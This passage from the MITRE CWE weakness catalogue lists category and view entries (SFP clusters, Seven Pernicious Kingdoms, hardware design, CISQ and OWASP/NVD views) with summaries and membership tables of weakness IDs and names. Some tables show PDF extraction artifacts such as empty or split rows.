| HasMember | V | 52 | Path Equivalence: '/multiple/trailing/slash/' | 888 | 97 |
| HasMember | V | 53 | Path Equivalence: '\multiple\internal\backslash' | 888 | 98 |
| HasMember | V | 54 | Path Equivalence: 'filedir\' (Trailing Backslash) | 888 | 99 |
| HasMember | V | 55 | Path Equivalence: './' (Single Dot Directory) | 888 | 100 |
| HasMember | V | 56 | Path Equivalence: 'filedir*' (Wildcard) | 888 | 102 |
| HasMember | V | 57 | Path Equivalence: 'fakedir../readdir/filename' | 888 | 103 |
| HasMember | V | 58 | Path Equivalence: Windows 8.3 Filename | 888 | 104 |
| HasMember | B | 66 | Improper Handling of File Names that Identify Virtual Resources | 888 | 118 |
| HasMember | V | 67 | Improper Handling of Windows Device Names | 888 | 120 |
| HasMember | V | 72 | Improper Handling of Apple HFS+ Alternate Data Stream Path | 888 | 124 |
| HasMember | B | 73 | External Control of File Name or Path | 888 | 125 |
| HasMember | B | 428 | Unquoted Search Path or Element | 888 | 954 |
| HasMember | C | 706 | Use of Incorrectly-Resolved Name or Reference | 888 | 1400 |

Category-982: SFP Secondary Cluster: Failure to Release Resource

Category ID : 982

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Failure to Release Resource cluster (SFP14).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 892 | SFP Primary Cluster: Resource Management | 888 | 2100 |
| HasMember | G | 404 | Improper Resource Shutdown or Release | 888 | 902 |
| HasMember | B | 459 | Incomplete Cleanup | 888 | 1008 |

Category-983: SFP Secondary Cluster: Faulty Resource Use

Category ID : 983

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster (SFP15).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 892 | SFP Primary Cluster: Resource Management | 888 | 2100 |
| HasMember | G | 672 | Operation on a Resource after Expiration or Release | 888 | 1347 |

Category-984: SFP Secondary Cluster: Life Cycle

Category ID : 984

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 892 | SFP Primary Cluster: Resource Management | 888 | 2100 |
| HasMember | P | 664 | Improper Control of a Resource Through its Lifetime | 888 | 1328 |
| HasMember | G | 666 | Operation on Resource in Wrong Phase of Lifetime | 888 | 1335 |
| HasMember | G | 675 | Multiple Operations on Resource in Single-Operation Context | 888 | 1355 |
| HasMember | B | 694 | Use of Multiple Resources with Duplicate Identifier | 888 | 1386 |

Category-985: SFP Secondary Cluster: Unrestricted Consumption

Category ID : 985

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster (SFP13).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 892 | SFP Primary Cluster: Resource Management | 888 | 2100 |
| HasMember | G | 400 | Uncontrolled Resource Consumption | 888 | 889 |
| HasMember | G | 674 | Uncontrolled Recursion | 888 | 1352 |
| HasMember | B | 770 | Allocation of Resources Without Limits or Throttling | 888 | 1463 |
| HasMember | V | 774 | Allocation of File Descriptors or Handles Without Limits or Throttling | 888 | 1479 |

Category-986: SFP Secondary Cluster: Missing Lock

Category ID : 986

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster (SFP19).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 894 | SFP Primary Cluster: Synchronization | 888 | 2101 |
| HasMember | B | 364 | Signal Handler Race Condition | 888 | 826 |
| HasMember | B | 365 | Race Condition in Switch | 888 | 831 |
| HasMember | B | 366 | Race Condition within a Thread | 888 | 833 |
| HasMember | B | 368 | Context Switching Race Condition | 888 | 840 |
| HasMember | B | 413 | Improper Resource Locking | 888 | 922 |
| HasMember | B | 414 | Missing Lock Check | 888 | 925 |
| HasMember | V | 543 | Use of Singleton Pattern Without Synchronization in a Multithreaded Context | 888 | 1147 |
| HasMember | B | 567 | Unsynchronized Access to Shared Data in a Multithreaded Context | 888 | 1176 |
| HasMember | B | 609 | Double-Checked Locking | 888 | 1246 |
| HasMember | G | 662 | Improper Synchronization | 888 | 1324 |
| HasMember | B | 663 | Use of a Non-reentrant Function in a Concurrent Context | 888 | 1327 |
| HasMember | G | 667 | Improper Locking | 888 | 1337 |

Category-987: SFP Secondary Cluster: Multiple Locks/Unlocks

Category ID : 987

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster (SFP21).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--------------------------------------|-----|------|
| MemberOf | C | 894 | SFP Primary Cluster: Synchronization | 888 | 2101 |
| HasMember | B | 585 | Empty Synchronized Block | 888 | 1205 |

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| HasMember | B | 764 | Multiple Locks of a Critical Resource | 888 | 1454 |
| HasMember | B | 765 | Multiple Unlocks of a Critical Resource | 888 | 1455 |

Category-988: SFP Secondary Cluster: Race Condition Window

Category ID : 988

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster (SFP20).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 894 | SFP Primary Cluster: Synchronization | 888 | 2101 |
| HasMember | G | 362 | Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') | 888 | 817 |
| HasMember | B | 363 | Race Condition Enabling Link Following | 888 | 824 |
| HasMember | B | 367 | Time-of-check Time-of-use (TOCTOU) Race Condition | 888 | 835 |
| HasMember | V | 370 | Missing Check for Certificate Revocation after Initial Check | 888 | 845 |
| HasMember | G | 638 | Not Using Complete Mediation | 888 | 1284 |

Category-989: SFP Secondary Cluster: Unrestricted Lock

Category ID : 989

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster (SFP22).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 894 | SFP Primary Cluster: Synchronization | 888 | 2101 |
| HasMember | B | 412 | Unrestricted Externally Accessible Lock | 888 | 919 |

Category-990: SFP Secondary Cluster: Tainted Input to Command

Category ID : 990

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster (SFP24).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 896 | SFP Primary Cluster: Tainted Input | 888 | 2101 |
| HasMember | G | 74 | Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') | 888 | 130 |

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|--|-----|------|
| HasMember |  | 75 | Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) | 888 | 134 |
| HasMember |  | 76 | Improper Neutralization of Equivalent Special Elements | 888 | 135 |
| HasMember |  | 77 | Improper Neutralization of Special Elements used in a Command ('Command Injection') | 888 | 136 |
| HasMember |  | 78 | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | 888 | 142 |
| HasMember |  | 79 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 888 | 154 |
| HasMember |  | 80 | Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) | 888 | 167 |
| HasMember |  | 81 | Improper Neutralization of Script in an Error Message Web Page | 888 | 169 |
| HasMember |  | 82 | Improper Neutralization of Script in Attributes of IMG Tags in a Web Page | 888 | 171 |
| HasMember |  | 83 | Improper Neutralization of Script in Attributes in a Web Page | 888 | 173 |
| HasMember |  | 84 | Improper Neutralization of Encoded URI Schemes in a Web Page | 888 | 175 |
| HasMember |  | 85 | Doubled Character XSS Manipulations | 888 | 177 |
| HasMember |  | 86 | Improper Neutralization of Invalid Characters in Identifiers in Web Pages | 888 | 179 |
| HasMember |  | 87 | Improper Neutralization of Alternate XSS Syntax | 888 | 181 |
| HasMember |  | 88 | Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') | 888 | 183 |
| HasMember |  | 89 | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') | 888 | 189 |
| HasMember |  | 90 | Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') | 888 | 200 |
| HasMember |  | 91 | XML Injection (aka Blind XPath Injection) | 888 | 202 |
| HasMember |  | 93 | Improper Neutralization of CRLF Sequences ('CRLF Injection') | 888 | 205 |
| HasMember |  | 95 | Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') | 888 | 212 |
| HasMember |  | 97 | Improper Neutralization of Server-Side Includes (SSI) Within a Web Page | 888 | 219 |
| HasMember |  | 99 | Improper Control of Resource Identifiers ('Resource Injection') | 888 | 227 |
| HasMember |  | 102 | Struts: Duplicate Validation Forms | 888 | 230 |
| HasMember |  | 103 | Struts: Incomplete validate() Method Definition | 888 | 232 |
| HasMember |  | 104 | Struts: Form Bean Does Not Extend Validation Class | 888 | 235 |
| HasMember |  | 105 | Struts: Form Field Without Validator | 888 | 237 |
| HasMember |  | 106 | Struts: Plug-in Framework not in Use | 888 | 240 |
| HasMember |  | 107 | Struts: Unused Validation Form | 888 | 242 |
| HasMember |  | 108 | Struts: Unvalidated Action Form | 888 | 245 |
| HasMember |  | 109 | Struts: Validator Turned Off | 888 | 246 |
| HasMember |  | 110 | Struts: Validator Without Form Field | 888 | 248 |
| HasMember |  | 112 | Missing XML Validation | 888 | 253 |
| HasMember |  | 113 | Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') | 888 | 254 |
| HasMember |  | 130 | Improper Handling of Length Parameter Inconsistency | 888 | 327 |

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| HasMember | B | 134 | Use of Externally-Controlled Format String | 888 | 340 |
| HasMember | G | 138 | Improper Neutralization of Special Elements | 888 | 348 |
| HasMember | B | 140 | Improper Neutralization of Delimiters | 888 | 351 |
| HasMember | V | 141 | Improper Neutralization of Parameter/Argument Delimiters | 888 | 353 |
| HasMember | V | 142 | Improper Neutralization of Value Delimiters | 888 | 354 |
| HasMember | V | 143 | Improper Neutralization of Record Delimiters | 888 | 356 |
| HasMember | V | 144 | Improper Neutralization of Line Delimiters | 888 | 358 |
| HasMember | V | 145 | Improper Neutralization of Section Delimiters | 888 | 360 |
| HasMember | V | 146 | Improper Neutralization of Expression/Command Delimiters | 888 | 362 |
| HasMember | V | 147 | Improper Neutralization of Input Terminators | 888 | 363 |

Category-1005: 7PK - Input Validation and Representation

Category ID : 1005

Status: Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that exist when an application does not properly validate or represent input. According to the authors of the Seven Pernicious Kingdoms, "Input validation and representation problems are caused by metacharacters, alternate encodings and numeric representations. Security problems result from trusting input."

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 700 | Seven Pernicious Kingdoms | 700 | 2220 |
| HasMember | C | 20 | Improper Input Validation | 700 | 19 |
| HasMember | C | 77 | Improper Neutralization of Special Elements used in a Command ('Command Injection') | 700 | 136 |
| HasMember | B | 79 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 700 | 154 |
| HasMember | B | 89 | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') | 700 | 189 |
| HasMember | C | 99 | Improper Control of Resource Identifiers ('Resource Injection') | 700 | 227 |

Category-1006: Bad Coding Practices

Category ID : 1006

Status: Draft

Summary

Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an exploitable vulnerability will be present in the application. These weaknesses do not directly introduce a vulnerability, but indicate that the product has not been carefully developed or maintained. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.

Category-1009: Audit

Category ID : 1009

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of audit-based components of the system. Frequently these deal with logging user activities in order to identify attackers and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed when designing or implementing a secure architecture.

Category-1010: Authenticate Actors

Category ID : 1010

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of authentication components of the system. Frequently these deal with verifying the entity is indeed who it claims to

be. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.

Category-1011: Authorize Actors

Category ID : 1011

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's authorization components. Frequently these deal with enforcing that agents have the required permissions before performing certain operations, such as modifying data. The weaknesses in this category could lead to a degradation of quality of the authorization capability if they are not addressed when designing or implementing a secure architecture.

Category-1012: Cross Cutting

Category ID : 1012

Status: Draft

2143

Summary

Weaknesses in this category are related to the design and architecture of multiple security tactics and how they affect a system. For example, information exposure can impact the Limit Access and Limit Exposure security tactics. The weaknesses in this category could lead to a degradation of the quality of many capabilities if they are not addressed when designing or implementing a secure architecture.

Category-1013: Encrypt Data

Category ID : 1013

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of data confidentiality in a system. Frequently these deal with the use of encryption libraries. The weaknesses in this category could lead to a degradation of the quality data encryption if they are not addressed when designing or implementing a secure architecture.

Category-1014: Identify Actors

Category ID : 1014

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's identification management components. Frequently these deal with verifying that external agents provide inputs into the system. The weaknesses in this category could lead to a degradation of the quality of identification management if they are not addressed when designing or implementing a secure architecture.

Category-1015: Limit Access

Category ID : 1015

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of system resources. Frequently these deal with restricting the amount of resources that are accessed by actors, such as memory, network connections, CPU or access points. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.

Category-1016: Limit Exposure

Category ID : 1016

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of the entry points to a system. Frequently these deal with minimizing the attack surface through designing the system with the least needed amount of entry points. The weaknesses in this category could lead to a degradation of a system's defenses if they are not addressed when designing or implementing a secure architecture.

Category-1017: Lock Computer

Category ID : 1017

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed when designing or implementing a secure architecture.

Category-1018: Manage User Sessions

Category ID : 1018

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed when designing or implementing a secure architecture.

Category-1019: Validate Inputs

Category ID : 1019

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's input validation components. Frequently these deal with sanitizing, neutralizing and validating any externally provided inputs to minimize malformed data from entering the system and preventing code injection in the input data. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed when designing or implementing a secure architecture.

Category-1020: Verify Message Integrity

Category ID : 1020

Status: Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's data integrity components. Frequently these deal with ensuring integrity of data, such as messages, resource files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed when designing or implementing a secure architecture.

Category-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Category ID : 1035

Status: Incomplete

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.

Membership

| Nature | Type | ID | Name | V | Page |
|----------|------|------|---|------|------|
| MemberOf | V | 1026 | Weaknesses in OWASP Top Ten (2017) | 1026 | 2242 |
| MemberOf | C | 1352 | OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components | 1344 | 2210 |

Notes

Relationship

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

Category-1129: CISQ Quality Measures (2016) - Reliability

Category ID : 1129

Status: Draft

Summary

Weaknesses in this category are related to the CISQ Quality Measures for Reliability, as documented in 2016 with the Automated Source Code CISQ Reliability Measure (ASCRM) Specification 1.0. Presence of these weaknesses could reduce the reliability of the software.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|------|--|------|------|
| MemberOf | V | 1128 | CISQ Quality Measures (2016) | 1128 | 2244 |

Category-1195: Manufacturing and Life Cycle Management Concerns

Category ID : 1195

Status: Draft

Summary

Weaknesses in this category are root-caused to defects that arise in the semiconductor-manufacturing process or during the life cycle and supply chain.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|------|--|------|------|
| MemberOf | V | 1194 | Hardware Design | 1194 | 2250 |
| HasMember | B | 1248 | Semiconductor Defects in Hardware Logic with Security-Sensitive Implications | 1194 | 1841 |

| HasMember | B | 1297 | Unprotected Confidential Information on Device is Accessible by OSAT Vendors | 1194 | 1939 |

Category-1196: Security Flow Issues

Category ID : 1196

Status: Draft

Summary

Weaknesses in this category are related to improper design of full-system security flows, including but not limited to secure boot, secure update, and hardware-device attestation.

Membership

| Nature | Type | ID | Name | V | Page |

| HasMember | B | 1328 | Security Version Number Mutable to Older Versions | 1194 | 1992 |

Category-1197: Integration Issues

Category ID : 1197

Status: Draft

Summary

Weaknesses in this category are those that arise due to integration of multiple hardware Intellectual Property (IP) cores, from System-on-a-Chip (SoC) subsystem interactions, or from hardware platform subsystem interactions.

Membership

| Nature | Type | ID | Name | V | Page |

Category-1198: Privilege Separation and Access Control Issues

Category ID : 1198

Status: Draft

Summary

Weaknesses in this category are related to features and mechanisms providing hardware-based isolation and access control (e.g., identity, policy, locking control) of sensitive shared hardware resources such as registers and fuses.

Membership

| Nature | Type | ID | Name | V | Page |

Category-1201: Core and Compute Issues

Category ID : 1201

Status: Draft

Summary

Weaknesses in this category are typically associated with CPUs, Graphics, Vision, AI, FPGA, and microcontrollers.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|------|--|------|------|
| MemberOf | V | 1194 | Hardware Design | 1194 | 2250 |
| HasMember | B | 1252 | CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations | 1194 | 1848 |
| HasMember | B | 1281 | Sequence of Processor Instructions Leads to Unexpected Behavior | 1194 | 1911 |
| HasMember | B | 1342 | Information Exposure through Microarchitectural State after Transient Execution | 1194 | 2020 |

Category-1202: Memory and Storage Issues

Category ID : 1202 Status: Draft

Summary

Weaknesses in this category are typically associated with memory (e.g., DRAM, SRAM) and storage technologies (e.g., NAND Flash, OTP, EEPROM, and eMMC).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|------|---|------|------|

| HasMember | B | 1251 | Mirrored Regions with Different Values | 1194 | 1846 |
| HasMember | B | 1257 | Improper Access Control Applied to Mirrored or Aliased Memory Regions | 1194 | 1860 |
| HasMember | B | 1282 | Assumed-Immutable Data is Stored in Writable Memory | 1194 | 1912 |

Category-1203: Peripherals, On-chip Fabric, and Interface/IO Problems

Category ID : 1203 Status: Draft

Summary

Weaknesses in this category are related to hardware security problems that apply to peripheral devices, IO interfaces, on-chip interconnects, network-on-chip (NoC), and buses. For example, this category includes issues related to design of hardware interconnect and/or protocols such as PCIe, USB, SMBUS, general-purpose IO pins, and user-input peripherals such as mouse and keyboard.

| HasMember | B | 1331 | Improper Isolation of Shared Resources in Network On Chip (NoC) | 1194 | 1998 |

Category-1205: Security Primitives and Cryptography Issues

Category ID : 1205

Status: Draft

Summary

Weaknesses in this category are related to hardware implementations of cryptographic protocols and other hardware-security primitives such as physical unclonable functions (PUFs) and random number generators (RNGs).

Membership

| Nature | Type | ID | Name | V | Page |

Category-1210: Audit / Logging Errors

Category ID : 1210

Status: Draft

Summary

Weaknesses in this category are related to audit-based components of a software system. Frequently these deal with logging user activities in order to identify undesired access and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed.

Category-1211: Authentication Errors

Category ID : 1211

Status: Draft

Summary

Weaknesses in this category are related to authentication components of a system. Frequently these deal with the ability to verify that an entity is indeed who it claims to be. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authentication capability.

Category-1212: Authorization Errors

Category ID : 1212

Status: Draft

Summary

Weaknesses in this category are related to authorization components of a system. Frequently these deal with the ability to enforce that agents have the required permissions before performing certain operations, such as modifying data. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authorization capability.

Category-1214: Data Integrity Issues

Category ID : 1214

Status: Draft

Summary

Weaknesses in this category are related to a software system's data integrity components. Frequently these deal with the ability to ensure the integrity of data, such as messages, resource files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed.

Category-1215: Data Validation Issues

Category ID : 1215

Status: Draft

Summary

Weaknesses in this category are related to a software system's components for input validation, output validation, or other kinds of validation. Validation is a frequently-used technique for ensuring that data conforms to expectations before it is further processed as input or output. There are many varieties of validation (see CWE-20, which is just for input validation). Validation is distinct from other techniques that attempt to modify data before processing it, although developers may consider all attempts to product "safe" inputs or outputs as some kind of validation. Regardless, validation is a powerful tool that is often used to minimize malformed data from entering the system, or indirectly avoid code injection or other potentially-malicious patterns when generating output. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed.

| HasMember | B | 1173 | Improper Use of Validation Framework | 699 | 1775 |

Notes

Relationship

CWE-20 (Improper Input Validation) is not included in this category because it is a Class level, and this category focuses more on Base level weaknesses. Also note that other kinds of weaknesses besides improper validation are included as members of this category.

Category-1216: Lockout Mechanism Errors

Category ID : 1216

Status: Draft

Summary

Weaknesses in this category are related to a software system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed.

Category-1217: User Session Errors

Category ID : 1217

Status: Draft

Summary

Weaknesses in this category are related to session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed.

Category-1219: File Handling Issues

Category ID : 1219

Status: Draft

Summary

Weaknesses in this category are related to the handling of files within a software system. Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered.

Category-1309: CISQ Quality Measures - Efficiency

Category ID : 1309

Status: Incomplete

Summary

Weaknesses in this category are related to the CISQ Quality Measures for Efficiency. Presence of these weaknesses could reduce the efficiency of the software.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|------|--|------|------|
| MemberOf | V | 1305 | CISQ Quality Measures (2020) | 1305 | 2252 |
| HasMember | G | 404 | Improper Resource Shutdown or Release | 1305 | 902 |
| HasMember | G | 424 | Improper Protection of Alternate Path | 1305 | 940 |
| HasMember | V | 1042 | Static Member Data Element outside of a Singleton Class Element | 1305 | 1696 |
| HasMember | B | 1043 | Data Element Aggregating an Excessively Large Number of Non-Primitive Elements | 1305 | 1697 |
| HasMember | B | 1046 | Creation of Immutable Text Using String Concatenation | 1305 | 1701 |
| HasMember | B | 1049 | Excessive Data Query Operations in a Large Data Table | 1305 | 1704 |
| HasMember | B | 1050 | Excessive Platform Resource Consumption within a Loop | 1305 | 1705 |
| HasMember | B | 1057 | Data Access Operations Outside of Expected Data Manager Component | 1305 | 1712 |

| Nature | Type | ID | Name | V | Page |
|-----------|------|------|---|------|------|
| HasMember | B | 1060 | Excessive Number of Inefficient Server-Side Data Accesses | 1305 | 1715 |
| HasMember | B | 1067 | Excessive Execution of Sequential Searches of Data Resource | 1305 | 1721 |
| HasMember | B | 1072 | Data Resource Access without Use of Connection Pooling | 1305 | 1726 |
| HasMember | B | 1073 | Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses | 1305 | 1727 |
| HasMember | B | 1089 | Large Data Table with Excessive Number of Indices | 1305 | 1742 |
| HasMember | B | 1091 | Use of Object without Invoking Destructor Method | 1305 | 1744 |
| HasMember | B | 1094 | Excessive Index Range Scan for a Data Resource | 1305 | 1747 |

Notes

Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping, as well as high-level weaknesses such as Pillars. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

| HasMember | C | 1032 | OWASP Top Ten 2017 Category A6 - Security Misconfiguration | 1344 | 2154 |
| HasMember | V | 1174 | ASP.NET Misconfiguration: Improper Model Validation | 1344 | 1777 |

Notes

Maintenance

As of CWE 4.6, the relationships in this category were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories, which are discouraged for mapping. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

View-629: Weaknesses in OWASP Top Ten (2007)**View ID :** 629**Status:** Obsolete**Type :** Graph**Objective**

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2007. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

Audience**Software Developers**

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Membership

| Nature | Type | ID | Name | Page |

View-635: Weaknesses Originally Used by NVD from 2008 to 2016

View ID : 635

Status: Obsolete

Type : Explicit

Objective

CWE nodes in this view (slice) were used by NIST to categorize vulnerabilities within NVD, from 2008 to 2016. This original version has been used by many other projects.

Membership

| Nature | Type | ID | Name | Page |
|-----------|---|-----|---|------|
| HasMember |  | 16 | Configuration | 2025 |
| HasMember |  | 20 | Improper Input Validation | 19 |
| HasMember |  | 22 | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | 31 |
| HasMember |  | 59 | Improper Link Resolution Before File Access ('Link Following') | 105 |
| HasMember |  | 78 | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | 142 |
| HasMember |  | 79 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 154 |
| HasMember |  | 89 | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') | 189 |
| HasMember |  | 94 | Improper Control of Generation of Code ('Code Injection') | 207 |
| HasMember |  | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 274 |
| HasMember |  | 134 | Use of Externally-Controlled Format String | 340 |
| HasMember |  | 189 | Numeric Errors | 2028 |
| HasMember |  | 200 | Exposure of Sensitive Information to an Unauthorized Actor | 474 |
| HasMember |  | 255 | Credentials Management Errors | 2032 |
| HasMember |  | 264 | Permissions, Privileges, and Access Controls | 2032 |
| HasMember |  | 287 | Improper Authentication | 643 |
| HasMember |  | 310 | Cryptographic Issues | 2035 |
| HasMember |  | 352 | Cross-Site Request Forgery (CSRF) | 797 |
| HasMember |  | 362 | Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') | 817 |
| HasMember |  | 399 | Resource Management Errors | 2041 |

Notes

Maintenance

In Summer 2007, NIST began using this set of CWE elements to classify CVE entries within the National Vulnerability Database (NVD). The data was made publicly available beginning in 2008. In 2016, NIST began using a different list as derived from the "Weaknesses for Simplified Mapping of Published Vulnerabilities" view (CWE-1003).

View-699: Software Development

| | |
|---------------|---------------|
| View ID : 699 | Status: Draft |
| Type : Graph | |

Objective

This view organizes weaknesses around concepts that are frequently used or encountered in software development. This includes all aspects of the software development lifecycle including both architecture and implementation. Accordingly, this view can align closely with the perspectives of architects, developers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.

Audience

Software Developers

Software developers (including architects, designers, coders, and testers) use this view to better understand potential mistakes that can be made in specific areas of their software application. The use of concepts that developers are familiar with makes it easier to navigate this view,

and filtering by Modes of Introduction can enable focus on a specific phase of the development lifecycle.

Educators

Educators use this view to teach future developers about the types of mistakes that are commonly made within specific parts of a codebase.

Notes

Other

The top level categories in this view represent commonly understood areas/terms within software development, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.

Other

This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.

View-700: Seven Pernicious Kingdoms**View ID :** 700**Status:** Incomplete**Type :** Graph**Objective**

This view (graph) organizes weaknesses using a hierarchical structure that is similar to that used by Seven Pernicious Kingdoms.

Audience**Software Developers**

This view is useful for developers because it is organized around concepts with which developers are familiar, and it focuses on weaknesses that can be detected using source code analysis tools.

Membership

| Nature | Type | ID | Name | Page |

| HasMember |  | 485 | 7PK - Encapsulation | 2045 |
| HasMember |  | 1005 | 7PK - Input Validation and Representation | 2137 |

Notes**Other**

The MITRE CWE team frequently uses "7PK" as an abbreviation for Seven Pernicious Kingdoms.

View-711: Weaknesses in OWASP Top Ten (2004)

View ID : 711 **Status:** Obsolete
Type : Graph

Objective

CWE entries in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.

Membership

| Nature | Type | ID | Name | Page |
|-----------|-------------------------------------|-----|--|------|
